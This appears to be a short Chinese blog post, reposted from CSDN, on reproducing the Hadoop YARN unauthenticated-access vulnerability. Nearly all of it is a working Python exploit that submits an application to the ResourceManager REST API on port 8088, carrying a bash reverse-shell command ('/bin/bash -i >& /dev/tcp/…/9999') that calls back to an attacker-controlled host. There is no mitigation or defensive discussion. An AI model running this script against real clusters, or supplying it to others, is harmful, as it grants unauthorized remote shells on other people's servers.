Hadoop-未授权访问漏洞复现

1、环境搭建

2、访问:http://your-ip:8088

3、EXP 监听9999端口

import requests

target = 'http://192.168.1.1:8088/'
lhost = '192.168.2.1' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

 

猜你喜欢

转载自blog.csdn.net/weixin_42090431/article/details/130397324